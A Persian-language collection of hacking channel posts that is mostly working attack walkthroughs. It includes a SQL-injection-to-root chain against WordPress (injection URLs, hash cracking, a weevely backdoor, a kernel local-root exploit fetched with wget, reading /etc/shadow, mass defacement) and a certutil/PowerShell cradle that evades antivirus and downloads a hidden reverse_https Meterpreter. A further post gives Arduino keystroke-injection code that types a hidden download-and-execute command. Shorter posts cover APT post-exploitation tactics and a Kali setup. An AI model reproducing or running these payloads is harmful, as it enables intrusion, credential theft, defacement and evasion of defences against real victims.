بد نیست نکاتی در این باره بیان کنم فریمورک هایی وجود دارند که تمام این اطلاعاتی که فرض کنید ۲۰ ۳۰ پایگاه اطلاعاتی در دنیا که shodan یکی از اون ها هست رو جمع میکنند و یکجا به شما بصورت گرافیکی نشان میدهند این یعنی شما از این قربانی از ۲۰ ۳۰ مرجع جمع آوری اطلاعات که هرکدوم تو حوزه ای فعالیت دارند از رصد کردن پروتکل ها و سرویس هایی که روی اون ها هست بگیرید تا توی اینستاگرام چه کسی به شخص دیگه چه پیامی رو داد این شغل و حرفه خیلی وقت که اومده اما ما اکثرا ازش بی خبریم به دنیای Data Mining خوش آمدید در پست های بعد بیشتر راجبش صحبت خواهم کرد.
(O_~)
https://gist.github.com/scovell/4156489#file-json_sqli-py
https://www.instagram.com/developer/secure-api-requests/

#Zero2Root
بد نیست یک بار برای همیشه تکنیک های رایج بین هکرهای ایرانی که تو رنکینگ های zone-h میگن ما اول هستیم رو واسه همه آشکار کنیم.البته بروز و با روش های جدیدتر…

Deface کردن بر بستر آسیب پذیری SQLi بوده و از روزی که CDN ها اومدن به بازار و جلوی این سبک حملات رو خوب میتونستند بگیرن بازار این جماعت هم کساد شد به گونه ای که رو آوردن به سایت قمار و این حرفا که اونم کار دستشون داد 🙂 بگ‌ذریم,مرحله اول Google Hacking واسه پیدا کردن باگ از قربانی به این صورت

site:target.com inurl:Parameter= در قسمت target نام سایت قربانی و در قسمت Parameter پارامترهای که اون سایت استفاده کرده در URI های خودش رو میزارید البته برای گرفتن آسیب پذیری SQLi در پارامترهای POST طور دیگه باید عمل کرد و با استفاده از ابزار Burpsuite به پارامترهای پست یک سایت میتوان تست نفوذ انجام داد,مرحله بعد تزریق دستورات SQLi در قالب Query به دیتابیس سایت و استخراج User و Pass ادمین هستش هم دستی انجام میدن هم با ابزار های مثل SQLMap من هر دو رو میزارم,درضمن CMS قربانی WordPress هستش

تست آسیب پذیر در متد UNION
http://target.com/wordpress/wp-content/plugins/demo_vul/endpoint.php?user=1%27 شمارش ستون ها
http://target.com/wordpress/wp-content/plugins/demo_vul/endpoint.php?user=1+ORDER+BY+10 پیدا کردن تعداد ستون
http://target.com/wordpress/wp-content/plugins/demo_vul/endpoint.php?user=1+ORDER+BY+11 لیست کردن تمام ستون ها برای پیدا کردن ستون آسیب پذیر
http://target.com/wordpress/wp-content/plugins/demo_vul/endpoint.php?user=-1+union+select+1,2,3,4,5,6,7,8,9,10 در آوردن ورژن دیتابیس
http://target.com/wordpress/wp-content/plugins/demo_vul/endpoint.php?user=-1+union+select+1,2,3,4,5,6,7,8,9,version() بیرون کشیدن Table دیتابیس
http://target.com/wordpress/wp-content/plugins/demo_vul/endpoint.php?user=-1+union+select+1,2,3,4,5,6,7,8,9,(SELECT+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()) بیرون کشیدن USER-PASS ادمین
http://target.com/wordpress/wp-content/plugins/demo_vul/endpoint.php?user=-1+union+select+1,2,3,4,5,6,7,8,9,(SELECT+user_pass+FROM+wp_users+WHERE+ID=1) admin $P$B.3FyCM2hPAwp1H8Dibowvkvg58KYE

پسورد بصورت Hash هستش یعنی رمزنگاری شده از اون MD5 خصوصی شده CMS WP که با Hashcat کرکش میکنیم

Open terminal
1.hashcat -m 400 -a 0 hash.txt wordlist.txt درون فایل wordlist.txt لیستی از رمزها وجود داره درون فایل hash.txt همون مقدار رمز Hash خودمون هستش,سو‌یٔچ -m تایین کردن نوع رمزنگاری هستش که 400 معادل WordPress (MD5) و سو‌یٔچ -a نوع کرک رو مشخص میکنه که 0 یعنی Dictionary Attack اکی بعد از کرک شدن hash مقدار رمز بدست میاد رمز اینه 10987654321 خوب مرحله بعد پیدا کردن پنل ادمین هستش واسه اینکار اگه CMS قربانی یک CMS public باشه میشه URI پیشفرض آدرس پنل ادمین رو صدا زد و پنل رو دید اگه عوض کرده باشن دوتا روش وجود داره واسه پیدا کردنش Bruteforce Directory و Google Hacking من هر دو رو نشون میدم

2.dirb http://target.com صبر کنید تا پنل ادمین پیدا بشه,آدس پیشفرض WP هم این هستش

http://target.com/wp-admin/ روش Google hacking

site:target.com intitle:login خب بعد از وارد شدن به پنل ادمین در CMS وردپرس میرم قسمت theme-editor و Theme گزینه Edit رو میزنیم و سورس یک فایل Backdoor PHP که الان میگم چطور میسازن رو Paste میکنیم

3.weevely generate 12341234 /root/weevely.php فایل PHP ساخته شده رو مقادیرش رو اونجا که گقتم Paste کنید و بعد از اون در ترمینال سیستم عاملتون وصل بشید به Backdoor PHP خودتون

4.weevely http://target.com/wordpress/ 12341234 5.id دسترسی ما دسترسی کاربر هستش www-data,خب حالا باید این دسترسی رو به دسترسی Meterpreter ارتقاء بدیم,طبق آموزش پست که لینکش رو زیر گزاشتم یک Payload میسازیم و مثل weevely تزریقش میکنیم به CMS قربانی و عملیات Listing در Msfconsole رو انجام میدیم

بعد از تزریق کدهای پایلود Meterpreter خودمون میایم و صداش میزنیم در weevely واسه اینکار کافیه به پوشه ای که پایلود توشه cd کنید و اسمش رو صدا کنید

6.unk9.vvn بعد خواهید دید که دسترسی Meterpreter براتون اومده مرحله آخر عملیات Privilage هستش که باعث میشه سطح دسترسی شما به سطح ادمین ارتقاء پیدا کنه واسه اینکار ورژن کرنل سیستم عامل سرور که لینوکس هست رو در میاریم با دستور زیر

7.uname -a Linux Mongol 4.4.0-31-generic #50 SMP Ubuntu SMP Wed (2018-10-09) x86_64 GNU/Linux

ورژن کرنل 4.4.0 هستش تو مخزن Metasploit جستجو میکنیم Exploit ارتقاء سطح دسترسی اومده یا نه

Telegram

خب اولین آسیب پذیری که میخوام تکنیک های پس از حمله اون رو شرح بدم آسیب پذیری LFI یا Local File Include هستش میدونم در مورد خود آسیب پذیری حمله اطلاع د…

b
8.searchsploit linux 4.4.0 Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) – ‘AF_PACKET’ Race Condition Pr | exploits/linux_x86-64/local/40871.c

این اکسپلویت رو خواهید دید که از خانواده local هستش یعنی اکسپلویت Localroot,خب در ادامه آدرس جایی که تشریف داره رو پیدا و به دایرکتوری /var/www/html/ کپیش میکنیم تا از سمت سرور قربانی اکسپلویت رو دانلود کنیم

9.locate exploits/linux_x86-64/local/40871.c /usr/share/exploitdb/exploits/linux_x86-64/local/40871.c
10.cp /usr/share/exploitdb/exploits/linux_x86-64/local/40871.c /var/www/html/ خب حالا اکسپلویت رو کامپایل و سرویس Apache2 رو استارت میکنیم

11.service apache2 start && cd /var/www/html/ && gcc 40871.c -o ######_root -lpthread در ترمینال meterpreter که دسترسی از سرور طرف داره با استفاده از خط فرمان wget که در هر سروری وجود داره اکسپلویت کامپایل شده رو دانلود میکنیم

Back to Meterpreter tab
12.shell 13.wget http://(NoIP)/######_root 14.chmod +x ######_root && ./######_root صبر کنید تا کارش تموم شه بعد از اتمام کار دستور زیر رو بزنید و لذت ببرید از ارتقاء سطح دسترسی

15.id uid=0(root) gid=0(root) groups=0(root),33(www-data)

حالا فایل /etc/shadow رو بخوانید که رمزهای سیستم عامل و پنل سرور توش موجوده,همچنین میتونید سرور رو با استفاده از تکنیک Symlink وبسایت هایی که بر روی اون هست رو Mass Deface کنید,(از این خز بازی هایی که هکرهای ایرانی در میارن البته بعضیاشون:)

16.upload deface.html 17.cat /etc/shadow یک روش هم واسه Mass Deface بدون داشتن دسترسی روت هم یاد میدم البته جدیدا نمیدونم کار میکنه یا نه از اون روش های قدیمی هستش

Open new tab
18.touch unkimonky.pl Added

#!/usr/bin/perl -w use strict; use IO::Socket; sub Wait { wait; } $SIG{CHLD} = \&Wait; my $server = IO::Socket::INET->new( LocalPort => 1337, Type => SOCK_STREAM, Reuse => 1, Listen => 10) or die “$@\n”; my $client; while($client = $server->accept()) { select $client; print $client “HTTP/1.0 200 OK\r\n”; print $client “Content-type: text/html\r\n\r\n”; print $client ‘<H1>######</H1> } continue { close($client); kill CHLD => -$$; } Ctrl+x > y > Enter
Back to Meterpreter tab
19.upload unkimonky.pl 20.perl unkimonky.pl Visit > http://target.com:1337

حالا سایت رو روی پورت 1337 باز کنید و پیغام ###### رو ببینید,کلام آخر این روش ها 6 7 ساله پیش بورس بوده و خیلی ها از عقب ماندگی دنیای امنیت از هکرها بر بستر وبسایت ها این مجال رو پیدا میکردند که Mass deface ها برای خودشون ثبت کنند البته این بیشترین روش استفاده شده بوده و روش های دیگه ای هم وجود داشته که 90% اونها بر بستر آسیب پذیری Webapp ها بودن امیدوارم مورد استفادتون قرار گرفته باشه.

https://en.wikipedia.org/wiki/Privilege_escalation
https://www.owasp.org/index.php/SQL_Injection

#Influential tactics
مراحل کامل بعد یک حمله سایبری در سطح جهانی که در این پست به جزئیات این مراحل میپردازم,تا ببینیم ایتم های درون #Roadmap استاندارد هست یا خیر.

آقایان بیسواد زیادی به بنده البته به صورت غیرمستقیم و پشت سر حرف های جالبی میزنند مثلا اینکه #Roadmap ما پر از گاف و تناقض و این مسائل هستش و من درآوردی هستش خب شرح تاکتیک های مورد استفاده از پروژه های #APT که محصور حملات سایبری در سطح جهانی تعریف شده و رصد مکانیزم های استفاده شده توسط تیم های قدرتمند در دنیا استفاده شده رو ما تشریح خواهیم کرد البته این نکته رو عرض کنم که این ۱۰ مرحله که در تصویر میبینید ایتم های پسا حمله هستند و تاکتیک هایی که در قبل از این مرحله وجود دارند مثلا مثل مراحله شناسایی و کشف آسیب پذیری در این بحث ما جایی نداره پس ما راجب تاکتیک هایی پسا حمله صحبت خواهیم کرد.

خب اول از همه ما یک ۱۰ مرحله پسا حمله رو نام میبریم و اشاراتی به برخی ایتم های اونها خواهیم کرد

#Persistence
در این مرحله تکنیک های هکر یک Backdoor در سیستم قربانی پنهان میکنه این Backdoor میتونه از نوع یک Bootkit باشه یا یک کلید ساده Registry.
#Privilege Escalation
در این مرحله هکر سطح دسترسی خودش رو به سطح دسترسی Administator ارتقاء میده.
#Defense Evasion
در این مرحله هکر پایلودی که منجر به دسترسی شده رو با تکنیک هایی مانند Obfuscation یا Code Signing از دید نرم افزارهای Detection مخفی میکنه.
#Credential Access
در این مرحله هکر رمزهای مربوط به سرویس ها و خود سیستم عامل رو بدست خواهد آورد که برای اینکار چندین روش وجود داره مثل Credential Dumping.
#Dsicovery
در این مرحله هکر یک مپ از سیستم قربانی تهیه میکنه تا تمام محتویات سیستم رو رصد کنه از پروسس ها گرفته تا Directory ها.
#Lateral Movement
در این قسمت هکر به سراغ پروتکل ها و راه های ارتباطی قانونی برای خودش میره مثل RDP یا FTP با Windows Admin Shares
#Execution
در این مرحله هکر میاد و با انواع Execution های فرمت های مختلف ارتباط برقرار میکنه مثل rundll32 یا MSXML یا Powershell یا Regasm این ارتباط میتونه اهداف گوناگونی داشته باشه.
#Collection
در این مرحله هکر میاد مکانیزم های کنترلی خودش رو به جریان نفوذ اضافه میکنه از کنترل Desktop بگیرید تا Keylogger ها و Capture Webcam و مباحث دیگه.
#Exiftration
در این مرحله هکر میاد و ارتباطات و دانلود آپلودهای سیستم C&C خودش رو بر بستر Protocol و فایل فرمت ها Encrypt یا Compress میکنه تا هم پروتکل ارتباطی و Transfer ها با اطمینان بیشتری انجام بشه از نظر رصد شدن.
#Command and Control
خب این هم مرحله فریمورک کنترل کننده عملیات نفوذ هست که هر تیمی برای خودش یک فریمورک C&C مینویسه چرا که فریمورک هایی مثل Metasploit ضعف هایی دارند که تیم ها را به مشکل خواهد انداخت پس هکرها خود برای حملات سطح بالا C&C اختصاصی طراحی خواهند کرد که پارامترهای مختلفی میتونه داشته باشه مثلا مکانیزم الگریتم DGA در ارتباطات C&C.

و اما نکات آخر شما به این ۱۰ آیتم که این ۱۰ آیتم فقط موضوعات پسا نفوذ هستند بسیار گسترده و دارای مباحث و تاکتیک های خاص خود هم میباشند,در نتیجه باید #Roadmap به گونه ای که بتونه یک هکر رو برای فراگیری تمام این متد ها و تاکتیک ها که نیاز و الزام یک هکر بلک هت هست برسونه و هکر بتونه در این موضوعات ورود داشته باشه مثلا شما اگر Powershell for Pentesting رو اگر فرا نگیرید نمیتونید در خیلی از این ایتم ها موفق باشید مثلا Privilege کردن ها یا Credential ها پس ایتم های #Roadmap بر اساس نکاتی که در حملات استفاده شده و نیاز محسوب میشه.

حالا اون جماعت که در دنیای سایبری شروع به گفتن یکسری بحث های شاز میکنند که واقعا ارزش بحث در حد یک خط درون پست هم نداره چرا که از شخصیت و کانالش مشخص هستش که این آقا مشکل روانی داره و لذت میبره مردم رو مسخره کنه,فضای کانال و گروه ما فضای تحقیقاتی هستش و با اینکه اشخاص در چه سحطی هستند یا نیستند کسی کاری نداره و هدف از پست های ما و گروه ما بوجود آوردن یک فضای تحقیقاتی هستش نه چیزه دیگه حالا در این میان هر شخصی نواحی ضعف و قدرتمندی داره یا اصلا نداره این دلیل بر مسخره کردن و توهین کردن نیست.

https://www.fireeye.com/solutions/cyber-threat-intelligence.html

بحث راجب این موضوع که چه سیستم عاملی بهتره برای هکرها در راستای تست نفوذ زیاده و بعضا نظرات بر اساس خصومت داشتن از سیستم عاملی مانند کالی لینوکس نظر میدن خب به نظر من چیزی که مهمه اینه که یک هکر برای پیاده سازی حملات یا تست نفوذهای خودش نیازمند به یک سیستم عاملی هستش که بتونه یک دایره از امکاناتی که هکر رو میتونه در کارهای خودش کمک کنه رو داشته باشه,بسیاری از افراد غیر کارشناس در حوزه امنیت رو بنده دیدم که رد کردن کار با این سیستم عامل رو دلیلشون هم این بوده که یک هکر نباید از ابزارها استفاده کنه و فکر میکنم منظورشون یک هم بوده که هکر از اول خلقت باید سیستم عاملی که باش کار کنه رو خودش طراحی کنه تا موس کیبورد ابزارهای مورد نیاز وبسرورها cms ها فکر کنید Burpsuite هم باید خودش بنویسه:)

خب این نگاه ها نشون میده که اشخاصی که این نظرات رو میدن خودشون اصطلاحا اینکاره نیستن چرا؟ به این دلیل که در دنیای امنیت چیزی به نام یک نفر وجود نداره یعنی شما چه بخواهید چه نخواهید هم از لحاظ آموزشی هم از لحاظ انجام ماموریت یک هکر نیاز داره که از تجربه بقیه ابزارهای بقیه و حتی انجام کار مشارکتی پیشرو باشه و بیشترین استفاده رو بکنه چرا باید اینطور باشه؟ به این دلیل که شما هدفتون در بحث امنیت سایبری یا تست نفوذ برای ارگانی برای پیدا کردن نقاط ضعف اون ارگانه یا برای کشورتون قراره ماموریی رو انجام بده خب برای اینکار نیاز داره نه تنها از تمام پتانسیلی که در دنیای اینترنت براش وجود داره باید استفاده کنه بلکه باید یک یا دو قدم اون تجربه یا علم رو خودش به جلو ببره چرا که در این شرایط هست که در حملات دست برتر و پیروزی رو کسب میکنه پس یک هکر نباید الان درگیر این باشه که آیا من از این سیستم عامل یا ابزار استفاده کنم یا نه بلکه باید به این فکر کنه که حریف رو به رو مثلا در مقابل آسیب پذیری SQLi آمده فایروال های سخت افزاری و نرم افزاری پیاده سازی کرده که برای مثلا شما و امکانات شما که استفاده میکنید مشکلاتی به وجود آورده مثلا استفاده از ابزار SQLMap رو با چالش های جدی رو به رو میکنه یک مثال میزنم مثلا شما یک آسیب پذیری SQLi از سایت بزرگی میگیرید و میخواید که به دیتابیس نفوذ کنید اینجا دو راهکار وجود داره روش دستی و روش اتوماتیک که یعنی استفاده از ابزارهایی مثل SQLMap اگر شما روش دستی رو انتخاب کنید باید بدونید که آسیب پذیری SQLi شش متد پیاده سازی داره من به ترتیب اسم میبرم

Blind Based–Union Based–Time Based–Error Based–Classic–Out of Band خب در کنار اینها شما فکر کنید ما بالای 20 مدل دیتابیس داریم که هرکدام API برنامه نویسی خودشون رو دارن و به سبب همین قضیه نوع و سبک Query هاشون متفاوت هست که اگر همه این مقادیر رو حساب کنید چیزی نزدیک به پنج , شش هزار دستور Query برای تمام متد و زبان دیتابیس ها در میاد خب خداوکیلی کدوم آدمی رویه کره زمین میتونه همه این Query هارو درک و حفظ کنه؟:) پس در نتیجه استفاده از ابزارهایی که بصورت جامع کار را برای ما آسون میکنند کاره عاقلانه ای هستش اما یک نکته این موضوع بدین معنی هستش که کار یک هکر راحت شده؟؟؟ جواب خیر هستش چرا که اگر هکر ابزارهایی در اختیار داره اونور ماجرا هم امکانات جدید و مکانیزم های جدیدتری رو در اختیار گرفته پس یک هکر هنرش دقیقا اینجاس که بتونه با مکانیزم هایی که تا دندان مصلح کردن یک دیتابیس رو,بتونه مکانیزم های پیش روش رو دور بزنه نه اینکه کاری که یک هکر دیگه کرده و ابزاری رو نوشته رو یک هکر دیگه هم بنویسه البته دست به برنامه نویسی شدن برای دور زدن مکانیزم ها در بسیاری از موقعیت ها کمک بسیاری کرده مثلا شما اومدید تحقیقاتی انجام دادید بر روی CDN ها و متوجه نوع خاصی از آرایش Query ها شدید که میتونه CDN هارو دور بزنه خب عقل حکم میکنه برای ابزاری مانند SQLMap سریعا یک اسکریپت Tamper نوشته شه که کار رو آسان و آسانتر کنه…

در بحث سیستم عامل ها هم همینه موضوع شما باید به این فکر باشید که چطور یک سیستم عامل کامل داشته باشید که برای هر شرایطی خودش رو آماده کرده باشه و از بیشترین امکانات و پتانسیلی که در دنیای هکرها وجود داره استفاده کنه البته برخی ها سلیقه ای برخورد میکنند که ایرادی نداره اصلا هیج کاری در دنیای رایانه ایرادی نداره فقط اگر شما مثلا دوست داری Ubuntu داشته باشی و هکر هستید مشکلی نداره فقط یکی دو روزی زمان بذارید و ابزارهایی که نیاز دارید رو نصب کنید,اکی من ابزارها و امکاناتی که نیازه برای سیستم عامل مخصوص تست نفوذ یعنی کالی لینوکس و کانفیگ هایی که بعد از نصب نیازه رو از روی تجربه خودم برایتون به اشتراک میزارم که محیطی رو داشته باشید که بدون Error و تکامل یافته باشه در مواجه با هر تست نفوذی

Open terminal
1.apt update && apt -y install curl gnupg apt-transport-https liblttng-ust0 kali-linux-full && curl https://packages.microsoft.com/keys/microsoft.asc | apt-key add – && echo “deb [arch=amd64] https://packages.microsoft.com/repos/microsoft-debian-stretch-prod stretch main” > /etc/apt/sources.list.d/powershell.list && apt update 2.wget http://ftp.br.debian.org/debian/pool/main/i/icu/libicu57_57.1-6+deb9u2_amd64.deb && dpkg -i libicu57_57.1-6+deb9u2_amd64.deb && apt-get install -y python3-pip powershell 3.pip install osrframework crypto virtualenvwrapper scapy env shodan netifaces python-nmap && pip3 install crypto shodan scapy 4.apt-get install -y veil veil-evasion;/usr/share/veil/config/setup.sh –force –silent 5.apt-get install -y exiftool 6.dpkg –add-architecture i386 && apt-get update && apt-get upgrade -y && apt-get dist-upgrade -y && apt-get full-upgrade -y && reboot 7.apt-get install -y tor alacarte tcpxtract tesseract-ocr wine32 jd-gui rarcrack steghide cupp websploit slowhttptest autoconf dnsmasq upx-ucl gifsicle ftp nodejs npm adb bettercap mitmf shellter mono-vbnc remmina bleachbit haproxy vlc uget clinfo aria2 smb4k crackle pptpd cppcheck gimp xplico openvas isc-dhcp-server clamav routersploit build-essential unicorn calibre enscript ruby-dev libpcap-dev python-protobuf wifiphisher cmatrix libreoffice qrencode crackmapexec parallel inspy freerdp2-x11 rar osrframework qbittorrent mono-complete zmap datasploit idb gdb-peda kerberoast python-gps bluetooth liblttng-ust0 bluez libcrypto++6 android-tools-adb zipalign strace libzen0v5 python-bluez privoxy polipo socat dotdotpwn clamav-daemon ffmpeg cppcheck network-manager-openvpn-gnome multiarch-support etherape dkms virtualbox libjpeg-dev libjpeg62-turbo-dev libnetfilter-queue-dev libnfnetlink-dev 8.apt-get install -y virtualbox-guest-x11 && gem install bettercap && pip install –upgrade pip && npm install -g http-proxy-to-socks 9.openvas-setup Copy Pass Generate
10.openvas-start Visit > https://127.0.0.1:9392 > Username:(admin) > Password:(Paste Pass Generate)
11.hexeditor /usr/bin/vlc Press CTRL+W > Tab > Search (geteuid) > Enter
Edit

geteuid Replace

getppid Press Ctrl+X > y > Enter
12.update-java-alternatives –set /usr/lib/jvm/java-1.8.0-openjdk-amd64 13.rm -r /usr/share/fonts/* Download fix-fonts.zip & Paste root Directory
14.unzip /root/fix-fonts.zip && cp /root/fix-fonts/* /usr/share/fonts/ 15.fc-cache -f -v && reboot این هم لیست پلاگین های کارآمد برای تست نفوذ در مرورگر Firefox

Tamper Data–HackBar–HTTP Header Live–User-Agent Switcher–Flagfox–Cookie Manager–Wappalyzer–Blur–Copy PlainText–FoxyProxy Standard–Privacy Badger–Disconnect–NoScript این دستورات کاملا تست شده و کار آمده به ترتیب از شماره یک دستورات رو کپی کنید و فقط تو ترمینال Paste کنید از قسمتی که عدد گذاشته شده کپی کنید تا انتهایی که یک عدد دیگر هستش فقط به نقطه هایی که برای جداسازی عددها گذاشتم دقت کنید که اونها کپی نشه و بعد اینتر بزنید همین و بس این هم API کانال ماست دیگه اینطوری با کاربرهامون ارتباط پیادسازی خط فرمان ها رو انجام میدیم :stuck_out_tongue_winking_eye: و در ادامه صبر کنید تا امکانات ماژول ها پایپ ها و غیره نصب بشه زمانی که این دستورات رو مو به مو انجام دادید شما سیستم عامل کالی لینوکسی دارید که در مقابل هیج کاری و ماژولی Errori بشما نخواهد داد و با خیال راحت میتونید به تست نفوذ یا مسابقات CTF خودتون بپردازید. :blush:

:warning:نکته این دستورات برای سیستم عامل کالی لینوکس 2018-64bit میباشد…

http://www.sqlinjection.net/category/attacks/
https://www.capterra.com/database-management-software/
https://itsfoss.com/linux-hacking-penetration-testing/
https://techlog360.com/top-ethical-hacking-operating-systems/
http://www.droidbro.com/best-os-for-penetration-testing-ethical-hacking-linux/

#Bypass Detections in OOB Runner
بد نیست به تکنیک های روز دنیا که میتواند مکانیزم های نظارتی باینری و مکانیزم های نظارتی پروتکلی رو که میتونند دور بزنیم رو بررسی مختصری کنیم.

خب امروزه با کمی تحقیق راجب تکنیک های رایج در خصوص پایلود ریزی بر بستر ویندوزهای 7,10 و غیره خواهید دید که ابزارهایی مانند @Empire و اسکریپ های @Invoke-Obfuscation و @Invoke-Shellcode تکنیک های متعددی بر بستر زبان Powershell و معمولا اینکد Base64 و Obfuscation کردن پایلود ها خوب از پس آنتی ویروس های روز دنیا در سالهای اخیر بر اومده,حالا ما با استفاده از یک اسکریپت برای رندر CertUtil.exe که میتونه String مورد نظر رو به یک cert که با اینکد Base64 برای شما ایجاد شده که برای جستجوگر AMSI که کارش برسی فایل فرمت ها هستش رو از طریق تکنیک Code Injection پایلودی و در Memory بارگذاری کنه که همین استعداد باعث دور خوردن WinDefender خواهد شد

Open terminal
1.git clone https://github.com/danielbohannon/Invoke-CradleCrafter.git;apt update;apt -y install curl gnupg apt-transport-https liblttng-ust0 2.curl https://packages.microsoft.com/keys/microsoft.asc | apt-key add -;echo “deb [arch=amd64] https://packages.microsoft.com/repos/microsoft-debian-stretch-prod stretch main” > /etc/apt/sources.list.d/powershell.list;apt update 3.wget http://ftp.br.debian.org/debian/pool/main/i/icu/libicu57_57.1-6+deb9u2_amd64.deb;dpkg -i libicu57_57.1-6+deb9u2_amd64.deb 4.msfvenom –platform windows –arch x64 -p windows/x64/meterpreter/reverse_https LHOST=(NoIP) LPORT=443 -e cmd/powershell_base64 -f psh -o /var/www/html/load.txt Open new tab
4.apt -y install powershell;service apache2 start;cd ~/Invoke-CradleCrafter;pwsh 5.Import-Module ./Invoke-CradleCrafter.psd1 6.Invoke-CradleCrafter 7.SET URL http://(NoIP)/load.txt 8.MEMORY 9.CERTUTIL 10.All 11.1 Copy (Result) Content
Open new tab
12.nano /var/www/html/raw.txt Paste (Result) Content

Set-Variable rAV ‘http://(NoIP)/load.txt&#8217;;IEX…-Skip 2)-Join”`r`n”)) Ctrl+x > y > Enter
Switch to VirtualBox(Win7) > Visit & Download http://(LAN)/raw.txt > Paste C:\
Open cmd
13.cd C:\ && certutil -encode raw.txt cert.cer Copy cert.cer > Go Kali Linux > Paste /var/www/html/cert.cer
Open new terminal
14.msfconsole -q -x “use exploit/multi/handler;set PAYLOAD windows/x64/meterpreter/reverse_https;set LHOST (NoIP);set LPORT 443;set ReverseListenerBindAddress (LAN);set ExitOnSession false;set AutoRunScript post/windows/manage/priv_migrate;set StageEncoder true;set EnableStageEncoding true;exploit -j -z” 15.powershell.exe -Win hiddeN -Exec ByPasS add-content -path %APPDATA%\cert.cer (New-Object Net.WebClient).DownloadString(‘http://(NoIP)/cert.cer&#8217;); certutil -decode %APPDATA%\cert.cer %APPDATA%\stage.ps1 & start /b cmd /c powershell.exe -Exec Bypass -NoExit -File %APPDATA%\stage.ps1 & start /b cmd /c del %APPDATA%\cert.cer در خط اول اسکریپت مربوطه که برای ساختن پایلود بر بستر فایل Certutil.exe و Obfuscate کردن پایلود نوشته شده رو دانلود خواهیم کرد,در خط دوم ما مخزن و کلید مخزن رو به کالی لینوکس اضافه میکنیم,
خط سوم یک پکیج نیازه که باید دانلود و نصب بشه,خط چهارم پایلود Powershell برای سیستم عامل ویندوز ساخته میشه به واسطه Msfvenom,خط پنجم کامند powershell رو برای کالی دانلود و سرویس آپاچی استارت و به اسکریپت cd کرده و پاورشل رو اجرا میکنیم,خط ششم ماژول CredleCrafter رو Import میکنیم و بعد اسکریپت رو اجرا میکنیم,خط هفتم پایلودی که ساختیم و در دایرکتوری apache2 ریختیم رو معرفی میکنیم به اسکریپت,خط هشتم انتخاب میکنیم که پایلود بر بستر Memory تزریق خواهد شد,خط نهم نوع تزریق رو با استفاده CRETUTIL رو انتخاب میکنیم,خط دهم تمام تکنیک های Obfuscate رو انتخاب میکنیم,خط یازدهم گزینه 1 رو انتخاب میکنم و در ادامه پایلود ساخته شده رو کپی و در فایلی به نام raw.txt انتقال میدیم,خط سیزدهم فایل raw.txt روی ویندوز ۱۰ Virtualbox دانلود و در دایرکتوری \:C انتقال میدیم,خط چهاردهم در کالی Metasploit رو بر روی حالت Listing قرار میدیم,خط پانزدهم پایلودی که در مرحله اول فایل cert.cer انتقال داده شده بر روی وبسرور هکر رو دانلود و با استفاده از certutil اونرو decode و در دایرکتوری %APPDATA% قربانی به صورت یک فایل stage.ps1 ساخته و اجرا میکنیم پایلود در فرمت cer هستش و پروتکل ارتباطی هم https هستش همه چی جوره که حتی دیوایس های SOC هم بایپس بشن چطور؟ نکتش تو اس اس الشه 🙂
https://github.com/danielbohannon/Invoke-CradleCrafter
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil

 

خب در بحث هک کردن سیستم عامل ها بر بستر دیوایس های درگاه USB سناریو های متعددی وجود داره مثلا چند روز پیش داشتم یک مقاله میخوندم که توضیح میداد چطور با استفاده از آپدیت و EasyJTAG زدن فریمورک دیوایس های USB میشه شلکد خودمون رو رایت کنیم و موقع نصب درایور بر روی سیستم عامل شلکد هم اجرا بشه اما اون سبک از سناریو هارو نیاز به امکانات سخت افزاری هستش اما امروز من یک سناریو بهتر معرفی میکنم که با استفاده از دیوایس های سخت افزاری arduino و بر بستر زبان برنامه نویسیش میتونیم پایلودی رو بر خط فرمان سیستم عامل ها ارسال کنیم,و همین موضوع موجب میشه که ما بر بستر کیبورد که بتونیم فرمان هایی رو برنامه نویسی کنیم برای یک دیوایس Arduino و سرآخر دستور اجرای فرمان خاصی رو بدیم که به محض نصب دیوایس به سیستم عامل قربانی دستورات اجرا بشه من دستوری رو برای پروسس ATmega32u4 نوشتم که قیمت دیوایس سخت افزاریش هم بسیار ارزون هستش دقت کنید

مرحله اول یک پایلود با Metasploit میسازیم

Open terminal
1.apt-get install -y arduino;service postgresql start;msfconsole -q -x “use multi/script/web_delivery;set target 2;set PAYLOAD windows/meterpreter/reverse_tcp;set LHOST (NoIP);set LPORT 5555;set SRVHOST (NoIP);exploit -j” [*] Run the following command on the target machine:
powershell.exe -nop -w hidden -c $f=new-object net.webclient;$f.proxy=[Net.WebRequest]::GetSystemWebProxy();$f.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $f.downloadstring(‘http://(NoIP):8080/81ZtCFy2KK16eD’); خب حالا شما پایلود خودتون رو ساختید و نیازه که بر بستر زبان Arduino صداش کنیم

2.touch arduino_payload.ino Added

#include <Keyboard.h> void setup() { Keyboard.begin(); Keyboard.press(KEY_LEFT_GUI); delay(1000); Keyboard.press(‘x’); Keyboard.releaseAll(); delay(500); typeKey(‘a’); delay(100); Keyboard.press(KEY_LEFT_ALT); delay(500); Keyboard.press(‘y’); Keyboard.releaseAll(); delay(500); Keyboard.print(“powershell.exe -nop -w hidden -c $f=new-object net.webclient;$f.proxy=[Net.WebRequest]::GetSystemWebProxy();$f.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $f.downloadstring(‘http://(NoIP):8080/81ZtCFy2KK16eD’);”); typeKey(KEY_RETURN); Keyboard.end(); } void loop() {} void typeKey(int key){ Keyboard.press(key); delay(500); Keyboard.release(key); } Ctrl+x > y > Enter

ما از پروسس استفاده میکنیم که کتابخونه های موس و کیبورد رو ساپورت میکنه,یک نکته وارد کردن keyboard.h فقط بر روی پروسس ATmega32u4 قابل اجرا هستش,خب اگر به دستورات زبان Arduino دقت کرده باشید کاملا مشخصه که در دستورات بالا ما خط فرمان رو صدا و بر روی اول پایلود خودمون که در قسمت Keyboard.print هستش Paste میشه و در نهایت اجرا میشه این موضوع نقطه مهمش اینه که این دستورات رو خود دیوایس بر روی سیستم عامل اجرا میکنه مانند یک دسته بازی که خط فرمان ارسال میکنه بر روی سیستم عامل ها و باز از اونجا که این دیوایس محدودیتی از لحاظ اجرای بر روی سیستم عامل های ویندوز نداره میتونه مورد خوبی برای اجرای پایلود بر روی هر نوع سیستم عامل ویندوز باشه برای بحث بایپس آنتی ویروس ها هم میتونید به Obfuscation کردن پایلود خودتون با استفاده از اسکریپت #Invoke-Obfuscation میتونید مبهمش کنید و بعد به دیوایس معرفی کنید اینطوری آنتی ویروس ها هم بایپس خواهند شد,

